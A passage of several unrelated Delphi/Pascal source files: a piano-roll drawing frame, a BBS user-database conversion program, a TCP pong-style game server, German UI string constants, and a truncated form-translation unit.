R.Bottom:=BY+SY-(N)*DY ;
C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
end;
{
3,8,10:begin
C.Brush.Color:=clWhite;
C.Brush.Style:=bsClear;
C.Pen.Color:= clBlack;
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY -(DY div 2) ;
R.Right :=PianoKeyLength ;
R.Bottom:=BY+SY-(N)*DY+(DY div 2) ;
C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
end;//
5,12:begin
C.Brush.Color:=clWhite;
C.Brush.Style:=bsClear;
C.Pen.Color:= clBlack;
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY ;
R.Right :=PianoKeyLength ;
R.Bottom:=BY+SY-(N)*DY+(DY div 2) ;
C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
end;}
2,4,7,9,11:begin
C.Brush.Color:=clBlack;
C.Pen.Color:= clBlack;
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY ;
R.Right :=(PianoKeyLength*2) div 3 ;
R.Bottom:=BY+SY-(N)*DY ;
C.FillRect(R);
C.Pen.Color:= clBlack;
C.MoveTo (R.Right, (R.Top +R.Bottom) div 2 );
C.LineTo (PianoKeyLength ,(R.Top +R.Bottom) div 2 );
C.Pen.Color:= clLtGray;
C.MoveTo (R.Right, R.Top );
C.LineTo (R.Left , R.Top );
C.MoveTo (R.Right, R.Top );
C.LineTo (R.Right, R.Bottom );
C.Pen.Color:= clWhite;
C.MoveTo (R.Right-1, R.Top +1);
C.LineTo (R.Left +1, R.Top +1);
C.MoveTo (R.Right-1, R.Top +1);
C.LineTo (R.Right-1, R.Bottom -1);
end;//
end;
if iNote in BlackKeys then
begin
C.Brush.Color:=clWhite;
C.Pen.Color:= clRed;
end
else
begin
C.Brush.Color:=clWhite;
C.Pen.Color:= clRed;
end;
//c.TextHeight('A1');
//C.MoveTo(0 ,BY+SY-(N)*DY);
//C.LineTo(0+PaintBox.Width,BY+SY-(N)*DY);
;
//Key names
C.font.Name:='ARIAL';
C.font.color:=clRed;
TextShiftY:= (DY -c.TextHeight('A1')) div 2;
R.Left :=0 ;
//R.Top :=BY+SY-(N+1)*DY -(DY div 2);
R.Top :=BY+SY-(N+1)*DY+ TextShiftY ;
R.Right :=100 ;//PianoKeyLength ;
R.Bottom:=BY+SY-(N)*DY - TextShiftY ;
//C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
SaveBrush:= C.brush;
C.brush.style:=bsClear;
C.TextOut (R.Left+1,R.Top ,IntToStr(N)+' :'+KeyNames[iNote]+' '+IntToStr(iOctave));
C.brush:=SaveBrush;
end;
end;
procedure TFramePianoRoll.PaintBoxMarkersPaint(Sender: TObject);
Var s:string;
C:TCanvas;
N:integer;
MaxNumOfBeats, NumOfBeatsInMeasure,BeatNum:integer;
bx:integer;
begin
MaxNumOfBeats:= NumOfMeasures*TempoNumerator;
NumOfBeatsInMeasure:=TempoNumerator;
BeatNum:=NumOfBeatsInMeasure*BeatResolution ;
BX:= ScrollBarHorizontal.Position*NumOfBeatsInMeasure*BeatResolution*DX; //one measure to min change
C:=PaintBoxMarkers.Canvas;
For N:=0 to MaxNumOfBeats*BeatResolution do
begin
if (N mod 4) =0 then
begin
S:= ''+IntToStr(N div (BeatNum)+1); // measure
S:=S +':'+IntToStr((N mod (BeatNum)+1)div 4+1);
end
else s:='.';
//TextX:=
C.TextOut(N*DX -BX +(DX div 2)- (C.TextWidth(S) div 2),10+C.TextHeight(S)-2,S);
end;
end;
procedure TFramePianoRoll.PaintBoxPaint(Sender: TObject);
var C:TCanvas;
BX,BY,//DX,
SX,SY,
i,N:integer;
s:string;
R:TRect;
iNote :integer;
iOctave :integer;
хShift:integer;
MaxNumOfBeats, NumOfBeatsInMeasure:integer;
begin
MaxNumOfBeats:= NumOfMeasures*TempoNumerator;
NumOfBeatsInMeasure:=TempoNumerator;
BY:=-ScrollBarVertical.Position*DY;
SX:=DX*(NumOfMeasures+1); SY:=DY*(NumOfKeys+1);
C:=PaintBox.Canvas;
//Фон
C.Brush.Color:=clWhite;
C.Rectangle(0,0,PaintBox.Width,PaintBox.Height);
//C.Rectangle(0,BY,PianoKeyLength+SX,BY+SX);
C.Pen.Color:=clBlack;
For N:=0 to NumOfKeys do
begin
iNote :=N mod 12 +1;
iOctave:=N div 12;
C.Pen.Color:=clBlack;
C.Brush.Color:=clWhite;
//Горизонтальные линии
C.Brush.Color:=clWhite;
C.Pen.Style:= psSolid ;
if iNote =1 then C.Pen.Color:= clRed else C.Pen.Color:= clGray;
C.MoveTo(0 ,BY+SY-(N)*DY);
C.LineTo(0+PaintBox.Width,BY+SY-(N)*DY);
end;
//Вертикальные линии
//FirstCellNo
BX:= ScrollBarHorizontal.Position*NumOfBeatsInMeasure*BeatResolution*DX; //one measure to min change
For N:=0 to MaxNumOfBeats*BeatResolution do
begin
C.Pen.Color:= clLtGray; // base grid
if (N mod BeatResolution)=0 then C.Pen.Color:= clGray; //each bit
if (N mod (NumOfBeatsInMeasure*BeatResolution))=0 then C.Pen.Color:= clBlack; //each measure
C.MoveTo(0+N*DX -BX,BY);
C.LineTo(0+N*DX-BX,BY+SY);
C.TextOut (0+N*DX-BX,BY, inttostr(N))
end;
PaintBoxMarkersPaint(Sender);
{
//Ноты
C.Pen.Style:= psSolid ;
C.Brush.Color:=clFuchsia;
For i:=0 to NY-1 do
For N:=0 to NX-1 do
begin
if Notes[i,N]<>0 then
begin
C.Pen.Color:= clBlack ;
R.Left :=PianoKeyLength+i*DX+1 ;
R.Top :=BY+SY-(N+1)*DY ;
R.Right :=PianoKeyLength+(i+1)*DX ;
R.Bottom:=BY+SY-(N)*DY ;
C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
C.Pen.Color:= clWhite ;
C.MoveTo (R.Left +1, R.Top +1);
C.LineTo (R.Right-1, R.Top +1);
C.MoveTo (R.Left +1, R.Top +1);
C.LineTo (R.Left +1, R.Bottom -1);
end;
end;
}
end;
procedure TFramePianoRoll.PaintBoxMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var sx,sy,
BY, BX,
NoteNo,
NumOfBeatsInMeasure,TimeInPixels ,TimeInTicks:integer;
BeatSize,
MeasureSize,
MeasureNo,
BeatNo,
TickNo:integer;
begin
Label1.Caption:='x:'+inttostr(x)+' y:'+inttostr(y);
BY:=-ScrollBarVertical.Position*DY;
SX:=BeatWidth*(NumOfMeasures+1);
SY:=DY*(NumOfKeys+1);
NoteNo:=(by+sy-y)div DY;
NumOfBeatsInMeasure:=TempoNumerator;
BX:= ScrollBarHorizontal.Position*NumOfBeatsInMeasure*BeatResolution*DX; //
TimeInPixels:=(x+BX);//div DX ;// 1 "tick" =1/4 of beat
//-----
BeatSize:=BeatResolution*DX; //in pixels
MeasureSize:=BeatSize*TempoNumerator;
TimeInTicks :=((x+BX)*TicksPerBit) div BeatSize;
MeasureNo:= TimeInPixels div MeasureSize; //(+1)
BeatNo:=(TimeInPixels - MeasureNo* MeasureSize) div BeatSize; //(+1)
TickNo:= ((TimeInPixels - MeasureNo* MeasureSize - BeatNo*BeatSize )*TicksPerBit) div BeatSize;
Label2.Caption:= 'No:'+inttostr(NoteNo)
+' Pix:'+intTostr(TimeInPixels)
+' Tick:'+intTostr(TimeInTicks)
+' M:'+intTostr(MeasureNo+1)
+' B:'+intTostr(BeatNo+1)
+' T:'+intTostr(TickNo);
end;
procedure TFramePianoRoll.WMMOUSEWHEEL(var Msg: TMessage);
var
iStep : Integer;
ud: SmallInt; //Up or Down
mk:WORD;
mouseX,MouseY:integer;
p:Tpoint;
begin
//
ud := HiWord(Msg.wParam);
mk := LoWord(Msg.wParam);
if ud <= 0 then iStep := -1// Msg.wParam := VK_UP
else iStep := 1; //Msg.wParam := VK_DOWN;
mouseX:= loWord(Msg.lParam) ; ;
mouseY:= hiWord(Msg.lParam);
p:=ClientToScreen(Point(PaintBox.Left, PaintBox.Top));
mouseX:=mouseX-p.X;
mouseY:=mouseY-p.y-panel1.Height;
Label2.Caption:= 'x:'+inttostr(p.X)+' y:'+inttostr(p.y);
Label3.Caption:= 'x:'+inttostr(mouseX)+' y:'+inttostr(mouseY);
// if mk AND MK_CONTROL>0 then //The CTRL key is down.
if mouseX<0 then
SpinEditScaleY.Value:=SpinEditScaleY.Value+iStep
else
//if mk AND MK_SHIFT>0 then //The SHIFT key is down.
if mouseY<0 then
SpinEditScaleX.Value:=SpinEditScaleX.Value+iStep
else
if mk AND MK_SHIFT>0 then //The SHIFT key is down.
ScrollBarHorizontal.Position := ScrollBarHorizontal.Position - iStep*ScrollBarHorizontal.LargeChange
else
ScrollBarVertical.Position := ScrollBarVertical.Position - iStep*ScrollBarVertical.LargeChange;
inherited;
end;
function TFramePianoRoll.ScaleFactorH: integer;
begin
ScaleFactorH:=SpinEditScaleX.Value ;
end;
function TFramePianoRoll.ScaleFactorV: integer;
begin
ScaleFactorV :=SpinEditScaleY.Value ;
end;
function TFramePianoRoll.DX: integer;
begin
DX:=BeatWidth div ScaleFactorH;
end;
function TFramePianoRoll.DY: integer;
begin
DY:=PianoKeyHight div ScaleFactorV//15;
end;
procedure TFramePianoRoll.ScrollBarHorizontalChange(Sender: TObject);
begin
PaintBoxPaint (Sender);
PaintBoxKeysPaint(Sender);
end;
procedure TFramePianoRoll.ScrollBarVerticalChange(Sender: TObject);
begin
PaintBoxPaint (Sender);
PaintBoxKeysPaint(Sender);
end;
procedure TFramePianoRoll.SpinEditScaleChange(Sender: TObject);
begin
FrameResize(Sender)
end;
end.
|
program FixUsers;
uses Dos,
Global;
type
tOldUserACflag = (
acANSi,
acAVATAR,
acRIP,
acYesNoBar,
acDeleted,
acExpert,
acHotKey
);
tOldUserRec = record
Number : Integer;
UserName : String[36];
RealName : String[36];
Password : String[20];
PhoneNum : String[13];
BirthDate : String[8];
Location : String[40];
Address : String[36];
UserNote : String[40];
Sex : Char;
SL : Byte;
DSL : Byte;
BaudRate : LongInt;
TotalCalls : Word;
curMsgArea : Word;
acFlag : set of tOldUserACflag;
Color : tColor;
LastCall : String[8];
PageLength : Word;
EmailWaiting : Word;
Level : Char;
curFileArea : Word;
timeToday : Word;
timePerDay : Word;
AutoSigLns : Byte;
AutoSig : tAutoSig;
confMsg : Byte;
confFile : Byte;
Reserved : array[1..1553] of Byte;
end;
var F : file of tOldUserRec;
nF : file of tUserRec;
U : tUserRec; O : tOldUserRec; Z : Word;
begin
Assign(F,'C:\INIQ\DATA\USERS.DAT');
Assign(nF,'C:\INIQ\DATA\NEWUSERS.DAT');
Reset(F);
Rewrite(nF);
Z := 0;
while not Eof(F) do
begin
Inc(Z,1);
Read(F,O);
FillChar(U,SizeOf(U),0);
with U do
begin
Number := o.Number;
UserName := o.UserName;
RealName := o.RealName;
Password := o.Password;
PhoneNum := o.PhoneNum;
BirthDate := o.BirthDate;
Location := o.Location;
Address := o.Address;
UserNote := o.UserNote;
Sex := o.Sex;
SL := o.SL;
DSL := o.DSL;
BaudRate := o.Baudrate;
TotalCalls := o.TotalCalls;
curMsgArea := o.curMsgArea;
curFileArea := o.curFileArea;
acFlag := [];
if acANSI in o.acFlag then acFlag := acFlag+[Global.acANSI];
if acAVATAR in o.acFlag then acFlag := acFlag+[Global.acAVATAR];
if acRIP in o.acFlag then acFlag := acFlag+[Global.acRIP];
if acYesNoBar in o.acFlag then acFlag := acFlag+[Global.acYesNoBar];
if acDeleted in o.acFlag then acFlag := acFlag+[Global.acDeleted];
if acExpert in o.acFlag then acFlag := acFlag+[Global.acExpert];
if acHotKey in o.acFlag then acFlag := acFlag+[Global.acHotKey];
acFlag := acFlag+[acPause,acQuote];
Color := o.Color;
LastCall := o.LastCall;
PageLength := o.PageLength;
EmailWaiting := o.EmailWaiting;
Level := o.Level;
timeToday := o.TimeToday;
timePerDay := o.TimePerDay;
AutoSigLns := o.AutoSigLns;
AutoSig := o.AutoSig;
confMsg := o.confMsg;
confFile := o.confFile;
FillChar(Reserved,SizeOf(Reserved),0);
end;
Write(nF,U);
end;
Close(F);
Close(nF);
end.
|
unit Main;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdContext, IdBaseComponent, IdComponent, IdCustomTCPServer,
IdTCPServer, Vcl.StdCtrls, IdIOHandler, Vcl.ExtCtrls, Math, Contnrs, Players;
type
TForm1 = class(TForm)
IdTCPServer1: TIdTCPServer;
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
Shape1: TShape;
lFps: TLabel;
lFpsNet: TLabel;
Label5: TLabel;
lSensor: TLabel;
Ball: TShape;
lScore: TLabel;
procedure IdTCPServer1Execute(AContext: TIdContext);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure FormResize(Sender: TObject);
procedure IdTCPServer1Connect(AContext: TIdContext);
procedure FormDestroy(Sender: TObject);
procedure IdTCPServer1Disconnect(AContext: TIdContext);
private
Sensor: array[0..2] of Single;
NetFps: double;
Players: TPlayers;
procedure WMUser(var Msg: TMessage); message WM_USER;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const
g: double = 9.8;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
one: single;
x: array[0..3] of byte absolute one;
begin
one := 1;
Players := TPlayers.Create;
Players.Pattern := Shape1;
Players.Ball := Ball;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
FreeAndNil(Players);
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
case Key of
VK_ESCAPE:
Close;
VK_SPACE:
end;
end;
procedure TForm1.FormResize(Sender: TObject);
begin
Players.ClientWidth := ClientWidth;
Players.ClientHeight := ClientHeight;
Shape1.Width := ClientWidth div 50;
Shape1.Height := ClientHeight div 7;
Ball.Width := ClientWidth div 50;
Ball.Height := Ball.Width;
Players.ResetBall;
end;
procedure TForm1.IdTCPServer1Connect(AContext: TIdContext);
begin
Players.CreateNew(AContext);
if Players.Count > 1 then
Players.RestartBall;
end;
procedure TForm1.IdTCPServer1Disconnect(AContext: TIdContext);
begin
if Players = nil then
Exit;
Players.Remove(Players.FindByContext(AContext));
Players.ResetBall;
end;
procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
io: TIdIOHandler;
bb:TBytes;
Player: TPlayerInfo;
const
cnt: Integer = 0;
lastDT: TDateTime = 0;
begin
if Application.Terminated then
Exit;
Player := Players.FindByContext(AContext);
if Player = nil then
Exit;
io := AContext.Connection.IOHandler;
io.CheckForDataOnSource(1);
if io.InputBufferIsEmpty then
exit;
while io.InputBuffer.Size >= 12 do begin
io.ReadBytes(bb, 12);
Move(bb[0], Sensor[0], 12);
Player.Angle := sensor[1];
if lastDT = 0 then
lastDT := now
else
inc(cnt);
if (cnt>20) and (Now-lastDT>0) then begin
NetFps := cnt/(Now-lastDT)/86400;
lastDT := Now;
cnt := 0;
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
const
cnt: Integer = 0;
lastDT: TDateTime = 0;
var
delta: Single;
begin
if lastDT = 0 then begin
lastDT := Now;
Exit;
end;
Inc(cnt);
delta := (Now-lastDT)*86400;
if delta = 0 then
Exit;
lastDT := Now;
lFps.Caption := Format('%-2.0f', [cnt/(delta)]);
lSensor.Caption := Format('%3.3f %3.3f %3.3f', [sensor[0], sensor[1], sensor[2]]);
lFpsNet.Caption := Format('%-2.0f', [NetFps]);
cnt := 0;
Ball.Left := Round(Players.BallPos.x);
Ball.Top := Round(Players.BallPos.y);
Players.Move(delta);
end;
procedure TForm1.WMUser(var Msg: TMessage);
begin
end;
end.
|
unit SMCnst;
interface
{German strings}
{translated by Thomas Grimm, tgrimm@allegro-itc.de}
{changed by Reinhold Bauer, reinhold.bauer@onlinehome.de, 30.06.2006}
const
strMessage = 'Drucke...';
strSaveChanges = 'Sollen die Änderungen auf dem Server gespeichert werden?';
strErrSaveChanges = 'Kann die Daten nicht speichern! Prüfen Sie die Serververbindung oder die Gültigkeit der Daten';
strDeleteWarning = 'Soll gelöscht werden, Tabelle %s?';
strEmptyWarning = 'Soll geleert werden, Tabelle %s?';
const
PopUpCaption: array [0..24] of string[33] =
('Datensatz anfügen',
'Datensatz einfügen',
'Datensatz bearbeiten',
'Datensatz löschen',
'-',
'Drucke ...',
'Exportiere ...',
'Filter ...',
'Suche ...',
'-',
'Speichere Änderungen',
'Verwerfe Änderungen',
'Aktualisiere',
'-',
'Datensatz auswählen/abwählen',
'Datensatz auswählen',
'Alle Datensätze auswählen',
'-',
'Datensatz abwählen',
'Alle Datensätze abwählen',
'-',
'Spaltenlayout speichern',
'Spaltenlayout wiederherstellen',
'-',
'Optionen...');
const //for TSMSetDBGridDialog
SgbTitle = ' Titel ';
SgbData = ' Daten ';
STitleCaption = 'Beschriftung:';
STitleAlignment = 'Ausrichtung:';
STitleColor = 'Farbe:';
STitleFont = 'Schrift:';
SWidth = 'Breite:';
SWidthFix = 'Zeichen';
SAlignLeft = 'links';
SAlignRight = 'rechts';
SAlignCenter = 'zentriert';
const //for TSMDBFilterDialog
strEqual = 'gleich';
strNonEqual = 'ungleich';
strNonMore = 'nicht größer';
strNonLess = 'nicht kleiner';
strLessThan = 'kleiner als';
strLargeThan = 'größer als';
strExist = 'leer';
strNonExist = 'nicht leer';
strIn = 'in Liste';
strBetween = 'zwischen';
strLike = 'wie';
strOR = 'ODER';
strAND = 'UND';
strField = 'Feld';
strCondition = 'Bedingung';
strValue = 'Wert';
strAddCondition = ' Weitere Bedingung eingeben:';
strSelection = ' Auswahl der Datensätze gemäß der folgenden Bedingungen:';
strAddToList = 'Hinzufügen';
strEditInList = 'Editieren';
strDeleteFromList = 'Löschen';
strTemplate = 'Filter-Dialog';
strFLoadFrom = 'Öffnen...';
strFSaveAs = 'Speichern unter...';
strFDescription = 'Beschreibung';
strFFileName = 'Dateiname';
strFCreate = 'Erstellt: %s';
strFModify = 'Geändert: %s';
strFProtect = 'Schreibgeschützt';
strFProtectErr = 'Datei ist schreibgeschützt';
const //for SMDBNavigator
SFirstRecord = 'Erster Datensatz';
SPriorRecord = 'Vorheriger Datensatz';
SNextRecord = 'Nächster Datensatz';
SLastRecord = 'Letzter Datensatz';
SInsertRecord = 'Datensatz einfügen';
SCopyRecord = 'Datensatz kopieren';
SDeleteRecord = 'Datensatz löschen';
SEditRecord = 'Datensatz bearbeiten';
SFilterRecord = 'Filterbedingungen';
SFindRecord = 'Gefundene Datensätze';
SPrintRecord = 'Gedruckte Datensätze';
SExportRecord = 'Exportierte Datensätze';
SImportRecord = 'Importiere Datensätze';
SPostEdit = 'Speichere Änderungen';
SCancelEdit = 'Verwerfe Änderungen';
SRefreshRecord = 'Aktualisiere Daten';
SChoice = 'Datensatz auswählen';
SClear = 'Auswahl löschen';
SDeleteRecordQuestion = 'Datensatz löschen?';
SDeleteMultipleRecordsQuestion = 'Sollen die ausgewählten Datensätze gelöscht werden?';
SRecordNotFound = 'Datensatz nicht gefunden';
SFirstName = 'Erste';
SPriorName = 'Vorherige';
SNextName = 'Nächste';
SLastName = 'Letzte';
SInsertName = 'Einfügen';
SCopyName = 'Kopieren';
SDeleteName = 'Löschen';
SEditName = 'Bearbeiten';
SFilterName = 'Filter';
SFindName = 'Suche';
SPrintName = 'Drucken';
SExportName = 'Exportieren';
SImportName = 'Importieren';
SPostName = 'Speichern';
SCancelName = 'Abbrechen';
SRefreshName = 'Aktualisieren';
SChoiceName = 'Auswählen';
SClearName = 'Löschen';
SBtnOk = '&OK';
SBtnCancel = '&Abbrechen';
SBtnLoad = 'Öffnen';
SBtnSave = 'Speichern';
SBtnCopy = 'Kopieren';
SBtnPaste = 'Einfügen';
SBtnClear = 'Entfernen';
SRecNo = '#';
SRecOf = ' von ';
const //for EditTyped
etValidNumber = 'gültige Zahl';
etValidInteger = 'gültige Ganzzahl';
etValidDateTime = 'gültiges Datum/Zeit';
etValidDate = 'gültiges Datum';
etValidTime = 'gültige Zeit';
etValid = 'gültig';
etIsNot = 'ist kein(e)';
etOutOfRange = 'Wert %s ist außerhalb des Bereiches %s..%s';
SApplyAll = 'Auf alle anwenden';
const //for DMDBAccessNavigator
dbanOf = 'von';
SNoDataToDisplay = '<Keine Daten>';
const //for EditTyped :
SPrevYear = 'voriges Jahr';
SPrevMonth = 'voriger Monat';
SNextMonth = 'nachster Monat';
SNextYear = 'nachstes Jahr';
implementation
end.
|
unit ufmTranslator;
interface
uses
Classes, Types, windows, SysUtils, Controls, ufmFrmBasePai, ufmTranslatorIgnoreList;
type
TcadTranslatePropertyProc = procedure (const aObj: TObject; const aFormName, aObjName, aPropertyName: String; var TextToTranslate: WideString; var Translated:boolean) of Object;
TcadTranslateResourcePropertyProc = procedure (const aUnit, aVersion, aConstName, aOriginalLang: String; var TextToTranslate: String; var Translated:boolean) of Object;
TcadChangeCharsetPropertyProc = procedure (const aObj: TObject) of Object;
{ErrnoTranslation = class(Exception)
constructor Create(const aComponent:TComponent); reintroduce;
end;}
TNoTranslationEvent = procedure (Sender:TObject; const aComponent:TComponent) of Object;
TcadCompTranslator = class
protected
function DuplicatedObjName(aObjName:string):boolean;
function OriginalObjName(aObjName:string):string;
procedure ChangeCharsetProp(const aObj: TObject);
function GetOwnerClassName(const aObj: TObject):string;
public
function TranslateProp(const aObj: TObject; const aFormName, aObjName, aPropertyName: String; TextToTranslate: WideString; var Translated:boolean): WideString;
function Translate(const aObj: TObject; var Translated:boolean):boolean; virtual; abstract;
class function Supports(const aObj: TObject): Boolean; virtual; abstract;
end;
TcadResourceTranslator = class
protected
function TranslateProp(const aUnit, aVersion, aConstName, aOriginalLang: String; TextToTranslate: String; var Translated:boolean): String; virtual; abstract;
procedure HookResourceString(ResStringRec: pResStringRec; s: string);
public
function Translate(const aObj: TObject; var translator:boolean):boolean; virtual; abstract;
end;
TcadResourceTranslatorEN = class(TcadResourceTranslator)
protected
function TranslateProp(const aUnit, aVersion, aConstName, aOriginalLang: String; TextToTranslate: String; var Translated:boolean): String; override;
end;
TcadResourceTranslatorPT = class(TcadResourceTranslator)
protected
function TranslateProp(const aUnit, aVersion, aConstName, aOriginalLang: String; TextToTranslate: String; var Translated:boolean): String; override;
end;
TcadCompTranslatorClass = class of TcadCompTranslator;
TcadResourceTranslatorClass = class of TcadResourceTranslator;
TcadResourceTranslatorReg = class
FClass : TcadResourceTranslatorClass;
FInstance : TcadResourceTranslator;
constructor Create;
destructor Destroy; override;
function GetInstance: TcadResourceTranslator;
end;
TcadCompTranslatorReg = class
FClass : TcadCompTranslatorClass;
FInstance : TcadCompTranslator;
constructor Create;
destructor Destroy; override;
function GetInstance: TcadCompTranslator;
end;
TcadFormTranslatorReg = Record
public
FClass : TFrmBasePaiClass;
FOwnerName : TComponentName;
end;
PcadFormTranslatorReg = ^TcadFormTranslatorReg;
TcadTranslator = class
private
FOnNoTranslation : TNoTranslationEvent;
FTranslators : TList;
FResourceTranslators : TList;
FFormToTraslate : TList;
FTranslateProc : TcadTranslatePropertyProc;
FTranslateResourceProc : TcadTranslateResourcePropertyProc;
FChangeCharsetProc : TcadChangeCharsetPropertyProc;
public
constructor Create;
destructor Destroy; override;
function inClassIgnoreList (aClass: TClass):boolean;
procedure TranslateObj(const aObj: TObject);
function TranslateResources(const aObj: TObject; var translated:boolean):boolean;
procedure RegisterClass(const aClass: TcadCompTranslatorClass);
procedure RegisterResource(const aClass: TcadResourceTranslatorClass);
procedure RegisterFormForTranslate(const aClass:TFrmBasePaiClass);
//procedure CreateFormsToTranslate;
function isFormRegistered(const aObj:TObject):boolean;
property OnNoTranslation: TNoTranslationEvent
read FOnNoTranslation write FOnNoTranslation;
property FormToTraslate: TList
read FFormToTraslate;
property ResourceTranslators: TList
read FResourceTranslators;
property TranslateProc: TcadTranslatePropertyProc
read FTranslateProc write FTranslateProc;
property TranslateResourceProc: TcadTranslateResourcePropertyProc
read FTranslateResourceProc write FTranslateResourceProc;
property ChangeCharsetProc: TcadChangeCharsetPropertyProc
read FChangeCharsetProc write FChangeCharsetProc;
end;
procedure RegisterTranslators(const aClasses : Array of TcadCompTranslatorClass);
procedure RegisterResourceTranslators(const aResources : Array of TcadResourceTranslatorClass);
var
Translator : TcadTranslator;
implementation
{ TcadTranslator }
uses uLogs, ufmTranslatorDM;
{$HINTS OFF}
function IsNumeric(const AString: string): Boolean;
var
LCode: Integer;
LVoid: Integer;
begin
Val(AString, LVoid, LCode);
Result := LCode = 0;
end;
{$HINTS ON}
constructor TcadTranslator.Create;
begin
FTranslators := TList.Create;
FResourceTranslators := TList.Create;
FFormToTraslate := TList.Create;
FTranslateProc := nil;
FTranslateResourceProc := nil;
FChangeCharsetProc := nil;
FChangeCharsetProc := nil;
end;
destructor TcadTranslator.Destroy;
begin
while FTranslators.Count>0 do begin
TObject(FTranslators[0]).Free;
FTranslators.Delete(0);
end;
FTranslators.Free;
while FResourceTranslators.Count>0 do begin
TObject(FResourceTranslators[0]).Free;
FResourceTranslators.Delete(0);
end;
FResourceTranslators.Free;
FFormToTraslate.Free;
inherited;
end;
procedure TcadTranslator.RegisterResource(const aClass: TcadResourceTranslatorClass);
var
I: Integer;
NewReg : TcadResourceTranslatorReg;
begin
for I := 0 to FResourceTranslators.Count - 1 do with TcadResourceTranslatorReg(FResourceTranslators[I]) do
if FClass = aClass then Exit;
NewReg := TcadResourceTranslatorReg.Create;
NewReg.FClass := aClass;
FResourceTranslators.Add(NewReg);
end;
procedure TcadTranslator.RegisterClass(const aClass: TcadCompTranslatorClass);
var
I: Integer;
NewReg : TcadCompTranslatorReg;
begin
for I := 0 to FTranslators.Count - 1 do with TcadCompTranslatorReg(FTranslators[I]) do
if FClass = aClass then Exit;
NewReg := TcadCompTranslatorReg.Create;
NewReg.FClass := aClass;
FTranslators.Add(NewReg);
end;
procedure TcadTranslator.RegisterFormForTranslate(const aClass:TFrmBasePaiClass);
var
I: Integer;
FromReg : PcadFormTranslatorReg;
begin
for I := 0 to FFormToTraslate.Count - 1 do
if FFormToTraslate[i] = aClass then exit;
gLog.Log(Self, [lcFrm2Xlate], 'RegisterFormForTranslate: '+aClass.ClassName);
FromReg := new(PcadFormTranslatorReg);
FromReg.FClass := aClass;
FromReg.FOwnerName := 'arggg'; // <- que piada Ú esta? Porq eu fiz isto? Dario
FFormToTraslate.Add(FromReg);
end;
function TcadTranslator.inClassIgnoreList(aClass: TClass):boolean;
var
k : integer;
begin
result := false;
k:=0;
while k<=maxIgnoreCompTranslatorClassArray do begin
if aClass.InheritsFrom(ignoreCompTranslatorClassArray[k]) then begin
result := true;
break;
end;
inc(k);
end;
end;
function TcadTranslator.isFormRegistered(
const aObj:TObject): boolean;
var
i : integer;
compowner : TComponent;
begin
result := false;
if aObj.ClassType.InheritsFrom(TFrmBasePai) then begin
for i := 0 to Translator.FormToTraslate.Count - 1 do
if TFrmBasePaiClass(Translator.FormToTraslate[i]^) = TFrmBasePaiClass(aObj.ClassType) then begin
result := true;
exit;
end;
end else begin
compowner := TComponent(aObj).Owner;
while (compowner<>nil) do begin
if compowner.ClassType.InheritsFrom(TFrmBasePai) then begin
for i := 0 to Translator.FormToTraslate.Count - 1 do
if TFrmBasePaiClass(Translator.FormToTraslate[i]^) = TFrmBasePaiClass(compowner.ClassType) then begin
result := true;
exit;
end;
end;
compowner := compowner.Owner;
end;
end;
end;
procedure TcadTranslator.TranslateObj(const aObj: TObject);
var
I: Integer;
//ok : boolean;
//compowner : TComponent;
Translated: boolean;
supported: boolean;
//isInClassIgnoreList : boolean;
{function compoName(const bObj: TObject):string;
begin
result := '';
compowner := TComponent(bObj).Owner;
while (compowner<>nil) do begin
if compowner.name<>'' then
result := compowner.name + '.' + result
else
result := '(' + compowner.classname + ').' + result;
compowner := compowner.Owner;
end;
result := result + TComponent(bObj).name + ' ('+TComponent(bObj).classname+')';
end;}
begin
if not GTranslatorInitiated then exit;
supported := false;
if not inClassIgnoreList(TComponent(aObj).ClassType) then begin
for I := 0 to FTranslators.Count - 1 do begin
with TcadCompTranslatorReg(FTranslators[I]) do begin
if FClass.Supports(aObj) then begin
supported := true;
try
GetInstance.Translate(aObj, Translated);
if Translated then
Break;
except
on e:exception do
gLog.Log(Self, [lcExcept], 'TranslateObj: ' +e.message);
end;
//Break; nao para, estou barrendo por heranša
end;
end;
end;
if not supported then begin
if assigned(OnNoTranslation) then
OnNoTranslation(self, TComponent(aObj));
gLog.Log(Self, [lcXNoSuppor], 'No support for '+DMfmTranslator.componentPath(aObj)+ ' ('+TComponent(aObj).classname+')');
end else begin
if not (Translated) and (Translator.isFormRegistered(aObj)) then
gLog.Log(Self, [lcXNoTrnslt], 'No translation for '+DMfmTranslator.componentPath(aObj)+ ' ('+TComponent(aObj).classname+')');
end;
end;
end;
function TcadTranslator.TranslateResources(const aObj: TObject; var translated:boolean):boolean;
var I: Integer;
begin
translated := false;
result := false;
for I := 0 to FResourceTranslators.Count - 1 do with
TcadResourceTranslatorReg(FResourceTranslators[I]) do
result := GetInstance.Translate(aObj, translated);
end;
{ TcadCompTranslator }
function TcadCompTranslator.GetOwnerClassName(const aObj: TObject):string;
begin
if TComponent(aObj).Owner<>nil then
result := TComponent(aObj).ClassName
else
result := '';
end;
function TcadCompTranslator.DuplicatedObjName(aObjName:string):boolean;
var
s:string;
begin
result := false;
if pos('_', aObjName) =0 then exit;
s := copy(aObjName, pos('_', aObjName) + 1, maxint);
result := isnumeric(s);
end;
function TcadCompTranslator.OriginalObjName(aObjName:string):string;
begin
result := aObjName;
if pos('_', aObjName) =0 then exit;
